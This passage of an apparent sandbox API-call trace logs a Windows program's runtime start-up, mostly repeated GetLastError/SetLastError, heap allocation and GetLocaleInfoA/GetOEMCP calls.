returned 0x2a1990 [0041.815] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] GetLastError () returned 0x0 [0041.815] SetLastError (dwErrCode=0x0) [0041.815] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.816] SetLastError (dwErrCode=0x0) [0041.816] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.817] SetLastError (dwErrCode=0x0) [0041.817] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.818] GetLastError () returned 0x0 [0041.818] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.819] SetLastError (dwErrCode=0x0) [0041.819] GetLastError () returned 0x0 [0041.820] SetLastError (dwErrCode=0x0) [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x98) returned 0x2a19d8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1f) returned 0x2a1a78 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x36) returned 0x2a1aa0 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x37) returned 0x2a1ae0 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3c) returned 0x2a1b20 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x31) returned 0x2a1b68 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x17) returned 0x2a1ba8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2a1bc8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x14) returned 0x2a1bf8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xd) returned 0x2a1c18 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x25) returned 0x2a1c30 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x39) returned 0x2a1c60 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x18) returned 0x2a1ca8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x17) returned 0x2a1cc8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xe) returned 0x2a1ce8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x69) returned 0x2a1d00 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3e) returned 0x2a1d78 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1b) returned 0x2a1dc0 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1d) returned 0x2a1de8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x48) returned 0x2a1e10 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x12) returned 0x2a1e60 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x18) returned 0x2a1e80 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1b) returned 0x2a1ea0 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2a1ec8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x29) returned 0x2a1ef8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1e) returned 0x2a1f30 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x41) returned 0x2a1f58 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x17) returned 0x2a1fa8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xf) returned 0x2a1fc8 [0041.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x16) returned 0x2a1fe8 [0041.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2a) returned 0x2a2008 [0041.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x29) returned 0x2a2040 [0041.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x15) returned 0x2a2078 [0041.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1e) returned 0x2a2098 [0041.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2a) returned 0x2a20c0 [0041.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x12) returned 0x2a20f8 [0041.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x18) returned 0x2a2118 [0041.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x46) returned 0x2a2138 [0041.821] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a11f8 | out: hHeap=0x2a0000) returned 1 [0041.821] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76c20000 [0041.821] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0041.821] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0041.822] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x80) returned 0x2a11f8 [0041.822] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x800) returned 0x2a2188 [0041.823] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40c0d7) returned 0x0 [0041.823] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2a11f8) returned 0x80 [0041.824] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2a11f8) returned 0x80 [0041.824] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2a11f8) returned 0x80 [0041.825] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2a11f8) returned 0x80 [0041.825] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2a11f8) returned 0x80 [0041.826] GetLastError () returned 0x0 [0041.826] SetLastError (dwErrCode=0x0) [0041.826] GetLastError () returned 0x0 [0041.826] SetLastError (dwErrCode=0x0) [0041.826] GetLastError () returned 0x0 [0041.826] SetLastError (dwErrCode=0x0) [0041.826] GetLastError () returned 0x0 [0041.826] SetLastError (dwErrCode=0x0) [0041.826] GetLastError () returned 0x0 [0041.826] SetLastError (dwErrCode=0x0) [0041.826] GetLastError () returned 0x0 [0041.826] SetLastError (dwErrCode=0x0) [0041.826] GetLastError () returned 0x0 [0041.826] SetLastError (dwErrCode=0x0) [0041.826] GetLastError () returned 0x0 [0041.826] SetLastError (dwErrCode=0x0) [0041.826] GetLastError () returned 0x0 [0041.826] SetLastError (dwErrCode=0x0) [0041.826] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.827] SetLastError (dwErrCode=0x0) [0041.827] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.828] SetLastError (dwErrCode=0x0) [0041.828] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.829] SetLastError (dwErrCode=0x0) [0041.829] GetLastError () returned 0x0 [0041.830] SetLastError (dwErrCode=0x0) [0041.830] GetLastError () returned 0x0 [0041.830] SetLastError (dwErrCode=0x0) [0041.830] GetLastError () returned 0x0 [0041.830] SetLastError (dwErrCode=0x0) [0041.830] GetLastError () returned 0x0 [0041.830] SetLastError (dwErrCode=0x0) [0041.830] GetLastError () returned 0x0 [0041.830] SetLastError (dwErrCode=0x0) [0041.830] GetLastError () returned 0x0 [0041.830] SetLastError (dwErrCode=0x0) [0041.830] GetLastError () returned 0x0 [0041.830] SetLastError (dwErrCode=0x0) [0041.830] GetLastError () returned 0x0 [0041.830] SetLastError (dwErrCode=0x0) [0041.830] GetLastError () returned 0x0 [0041.830] SetLastError (dwErrCode=0x0) [0041.830] GetLastError () returned 0x0 [0041.831] SetLastError (dwErrCode=0x0) [0041.831] GetLastError () returned 0x0 [0041.831] SetLastError (dwErrCode=0x0) [0041.832] lstrlenW (lpString="") returned 0 [0041.832] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.833] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.833] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.834] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.834] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.835] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.835] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.836] GetOEMCP () returned 0x1b5 [0041.836] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.837] GetOEMCP () returned 0x1b5 [0041.837] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: 